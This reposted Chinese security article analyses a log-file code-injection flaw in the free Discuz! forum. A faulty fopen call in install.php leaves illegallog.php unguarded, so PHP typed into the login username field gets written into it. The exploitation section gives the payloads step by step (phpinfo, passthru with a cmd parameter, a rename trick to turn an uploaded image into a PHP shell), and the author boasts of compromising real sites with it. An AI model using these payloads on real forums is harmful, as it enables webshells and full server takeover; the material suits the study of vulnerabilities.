登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

庖丁解"D",游刃有余---Discuz!免费版安全性分析
发表日期:2006-03-12作者:Jamba1aya[转贴] 出处:安全焦点  

庖丁解"D",游刃有余
             ------Discuz!免费版安全性分析

作者:[I.T.S]Jambalaya
论坛:www.itaq.org

前言:记得第一次见分析家的时候,他问我最近在读什么,我告诉他我在继续读雷傲论坛的代码,他笑着说道:"那种东西漏洞一大把,读他做什么?去读Discuz!吧,就安全性而言,这个还有点挑战性"。读了几天后,觉得确实是一块硬骨头。后来事情一多,慢慢的忘却了。
前不久,我的一位朋友和我半开玩笑的说:“如果你能找到Discuz的漏洞,我就请你吃羊棒。找不到你请我吃。”(注:羊棒是我们附近的一家饭店的特色菜),朋友提出要求漏洞必须是在php默认magic_qoute_gpc为on的时候也是可利用的,并且限期一个星期之内。我当时因为竟想着羊棒了,哈喇子哗啦哗啦的往下流,于是连想都没想就一口答应下来了......
于是故事就这么开始了......

一、漏洞涉及版本
Discuz!2.0以下免费版本(商业版没有拿到)。1.01及其以下的漏洞利用可能有所不同,但漏洞依然存在。

二、漏洞分析
由于install.php的程序书写错误,导致恶意用户构造语句可以写入webshell,进而控制整个服务器。
前几个晚上,把前台文件,只要是数据库调用中的变量都看了一遍。看看是不是有过滤不严的地方,看完后觉得,过滤不严的地方的确不少,但是都已经被单引号保护起来了。在php中,如果magic_qoute_gpc=on(默认的)编译器会自动把单引号等特殊字符转义,而这个时候我们想改变程序的执行流程是非常困难的。这样大大的增加了入侵的难度,在某种程度上,也的确保证了其安全。这也是为什么朋友提出一定要在magic_qoute_gpc为on的时候依然可以利用的要求。如果需要单引号介入才能利用的漏洞,在Discuz!论坛中基本上是没什么用处的。
在把所有文件中数据库连接的地方读了一个遍后,没找到任何有价值的东西。这个时候思路开始有一点乱了,我在犹豫自己是否应该试着从程序员的思维逻辑漏洞下手看看,这就意味着我要去通读所有代码,找到程序员在写程序时考虑不周全的地方,这种漏洞多半是上下文逻辑关系错误,或者是限定不唯一,还有就是一些本来应该注意,但管理员却偏偏忽略的地方。
想到这里,看来没什么能偷懒的了,只能通读代码。因为既然目标是逻辑错误,那么就一定要细看上下文的关系,所以选择从入口点开始读起。入口点就应该是logging.php,因为这是登陆的地方,所有人都会从这里登陆进入论坛。上吧!
老规矩,我们先来看一段代码:
=========codz begin==========
50 $errorlog = "$username\t".substr($password, 0, 2);
......
54 $errorlog .= substr($password, -1)."\t$onlineip\t$timestamp\n";
55 $password = md5($password);
56 $query = $db->query("SELECT m.username as discuz_user, m.password as discuz_pw, m.status, m.styleid AS styleidmem, m.lastvisit, u.groupid, u.isadmin, u.specifiedusers LIKE '%\t$username\t%' AS specifieduser
FROM $table_members m LEFT JOIN $table_usergroups u ON u.specifiedusers LIKE '%\t$username\t%' OR (u.status=m.status AND ((u.creditshigher='0' AND u.creditslower='0' AND u.specifiedusers='') OR (m.credit>=u.creditshigher AND m.credit<u.creditslower)))
WHERE username='$username' AND password='$password' ORDER BY specifieduser DESC");
......
69 if(!$discuz_user)
{
70 @$fp = fopen($discuz_root.'./forumdata/illegallog.php', 'a');
71 @flock($fp, 3);
72 @fwrite($fp, $errorlog);
73 @fclose($fp);
74 showmessage('login_invalid', 'index.php');
}
=========codz endz==============
这段代码我们来一句一句看看,他先纪录输入的用户名和密码,密码只取前两位,然后取密码后一位,并且将ip和时间一起赋过来。然后去密码的md5值,放到数据库中去。如果你认为我们可以改变数据库执行语句的操作流程那就错了,面对单引号我们没有什么可以做的(至少是我做不了什么,除非加密)。后面如果用户名和密码不对则将纪录下错误用户名和密码到illegallog.php中。整个这个记录错误密码的过程中,变量没有经过任何验证,也就是说如果我成心输入错误的用户名,他也不会作检查然后直接记录下来。那么如果我的错误的用户名是一个可执行的代码,他也会记录下来。在他记录下来之后我们去调用这个文件就可以形成一个shell。
到这里你是不是已经兴奋了?对不起,你的兴奋无效。我是一点都兴奋不起来,因为我在前面读第一遍的时候,特别注意过Discuz!对文件句柄的操作,他的确对个别变量没有过滤,但是他在install.php中得初始化的时候,已经给所有用到的以.php结尾的数据文件开始的地方添加了一句:<?PHP exit("Access Denied"); ?>。这是初始化的时候写入的,我们都应该明白这句话的作用。你无法去调用你写入的东西,因为一开始就已经结束了。
这样显然是无法成功的。有点烦了,心想不就是5根羊棒么?输就输了!一赌气扔下代码,自己跑到姥姥的那屋,搂着姥姥撒起娇来,(在姥姥面前撒娇、耍赖、捣乱是我最喜欢的事情之一)我在姥姥面前反复咒骂着Discuz!的变态,说我自己如何如何认真的读代码。姥姥并不知道我在说什么,也不在乎我给她捣乱,继续看着自己的电视。过了一会儿,姥姥应了一句:"你这孩子啊,就是粗心,一点都不心细,你看你这什么码(估计是说代码)又坏了吧"。我嘎嘎大声的笑着爬回了自己的屋子。坐在电脑前,喝了杯白开水,冷静了一下。
做安全的人细心,毅力,自学,善于总结是非常必要的。回过头又把logging.php文件重新读一编,看看有没有什么自己忽略的地方。文件并不长,又看了一遍觉得还是没什么问题。既然这里没什么问题,思路就放到那句<?PHP exit("Access Denied"); ?>上,这句话是如何写入的呢?
于是在install.php中翻到了这段代码:
==========codz begin==========
29 function loginit($log) {
30 echo '初始化记录 '.$log;
31 $fp = @fopen('./forumdata/illegallog.php');
32 @fwrite($fp, "<?PHP exit(\"Access Denied\"); ?>\n");
33 @fclose($fp);
34 result();
35 }
......
1389 loginit('karmalog');
1390 loginit('illegallog');
1391 loginit('modslog');
1392 loginit('cplog');
1393 dir_clear('./forumdata/templates');
1394 dir_clear('./forumdata/cache');
==========codz endz==========
很显然,loginit这个函数就是在往illegallog.php中写入<?PHP exit("Access Denied"); ?>这句话。这样我们就算写入了代码也会因为那句话的存在而无法调用执行。我们已经完全进入了一个死胡同。但我似乎觉得这段代码哪里有些问题,再仔细看了一下,那个fopen看着怎么那么不顺眼啊。如果没记错的话fopen的语法格式应该是这样的:
resource fopen ( string filename, string mode [, int use_include_path [, resource zcontext]])
前面两个参数,一个是文件句柄,或者指定打开哪个文件。第二个参数是指定打开的方式,比如读还是写。这里要提醒大家的是这个两个参数是必选的。比如我们写入目录下的Jambalaya.php,我们的语句是这么写的:fopen('./Jambalya.php','w'),后面那个打开方式必须选的,否则就会报错。可是我们注意到,他的代码中只有一个参数,这样程序怎么可能正确执行呢?
我们来做一个试验,创建一个1.php,写入如下代码:
===========codz begin==========
$fp = @fopen('./2.php');
@fwrite($fp, "<?PHP exit(\"Access Denied\"); ?>\n");
@fclose($fp);
echo "success!";
===========codz endz============
在这里做一个和Discuz!中的一样的环境,如果这个程序执行成功,那么会在根目录下产生一个2.php,而2.php的开头一行应该是<?PHP exit("Access Denied"); ?>,并且屏幕上显示success,其实这里的success就是用来让我们了解程序执行所到的位置。我们在url中提交:http://127.0.0.1/myhome/1.php,屏幕上显示了success,这说明已经执行到程序的尾部。但是检查目录时发现并没有生成名为2.php的文件,也就是说我们写入失败了。也许大家会奇怪,写入失败应该有出错信息啊。的确应该有,但是因为在fopen前加上了@,而@在php中是用来抑制所有调用函数产生的错误信息的。换句话说就是即使出错了,也不会报错。
姥姥教训的没错,我太粗心了!
假设一切都是按我的思路走过的话,也就说在安装初始化的时候,因为那个fopen的错误使用,所以discuz/forumdata目录下绝对不会产生一个含有<?PHP exit("Access Denied");?>代码的illegallog.php文件,但是因为抑制出错信息,所安装的时候会依然显示初始化成功,其实却并没有初始化,更没有产生illegallog.php。而如果这里没有初始化,也就意味着illegallog.php的产生和初始化将在logging.php中完成。logging.php的初始化并没有对文件写入任何保护语句或者过滤措施来避免用户调用。到这里,一切都明朗了。说得直白一点,也就是因为install.php文件错误的初始化的缘故,我们可以通过logging.php写入恶意代码,然后调用那个文件来产生一个shell控制整个网站。

三、利用方法
不用注册任何账户,到登陆页面,在登陆用户名的地方先输入<?phpinfo();(注意有分号),然后在输入密码的地方输入?>123456,回车。这里大家可能明白了,密码前两位是显示的,这样illegallog.php里面保存的就是:
<?phpinfo(); ?>*****6 127.0.0.1 1022383175

这就可以查看php的设置了,我们先看一下register_globals这个设置是否为on。(大部分的网站都是on)好,然后我们在登陆口输入<?passthru($cmd);?>,这里最好不用system(),我在做测试的时候很多网站把这个system()函数禁用了。
然后我们调用http://192.168.0.13/forumdata/illegallog.php?cmd=dir
前面出来一堆垃圾信息,往最下面看是不是可以看到目录被列出来了?但是这样写入有点麻烦,因为在实验的时候,大的网站注册用户有10万多人,那么这个文件会大的出奇,打开速度奇慢。
那么我们这里其实还可以这样写入<?reaname($a,$b);?>,我们把php的shell改成jpg格式的图片,上传到主机。
在URL中调用:
http://192.168.0.13/forumdata/illegallog.p...chments/Jam.php
然后我们直接提交URL:
http://192.168.0.13/attachments/Jam.php就?...一个shell了吧!
也许有人问我,为什么不在用户名处直接输入一个shell,为什么要分开在用户名和密码出输入“<??>”.其实这个我也想过,而且我直接在用户名处输入在本机测试也成功了,但是在其他的网站上测试的时候,却发现只要输入<??>就会被过滤掉,我不知道是不是版本的问题。(本来想把别人的代码拉下来比对一下的,后来一犯懒就没弄,大家有兴趣可以自行测试)
那么如果register_globals如果为off是不是就不可以了呢?答案是否定的,这里给大家一点思考的空间。自己想吧,嘿嘿。给大家一点提示:我们不一定要一次写入,通过构造自己的语句来绕开限制,实现别的功能进而写入一个完整的shell。
这里顺便说一下1.01版以下的免费版本,这个漏洞的利用会有所不同,所谓的不同不过就是文件名的变化,这里也不做详解了,大家自己试验吧。毕竟,你只有自己亲自动手后才能学到更多的东西。

我们这里看见任何细节的不注意,都会导致你固若金汤的防线土崩瓦解。“千里之堤,溃于蚁穴”并非虚言啊!
整篇文章到这里就结束了。这里要补充一些东西,刚开始的时候,发现这个漏洞只是想放到itaq.org的隐藏版给IT安全的兄弟们玩得,没想过公布。倒不是因为我小气,主要是自己在测试的时候发现很多商业版本的论坛,这个漏洞无法利用,都正确的初始化了,我一度认为是自己拿到的版本有问题,就没打算写出来。直到后来,一些黑客圈里的朋友让我帮忙测试几个以Discuz!做论坛的网站时,他们告诉我他们的Discuz!论坛是从网上下载的免费版本后,我用这个漏洞轻松的进去并拿到了权限。之后,我对一大批免费版本的Discuz!网站做测试,才发现可以用这个漏洞对免费版的Discuz!进行攻击都能成功,而网上免费版的使用用户也不算少数。而且一旦成功就是一个可以进而控制整个服务器的漏洞。美中不足的就是只能攻击免费版。于是决定写出来给大家探讨一下。

行文仓促,技术有限,文章如果有误,望高手来www.iraq.org赐教

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 庖丁解"D",游刃有余---Discuz!免费版安全性分析

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.0024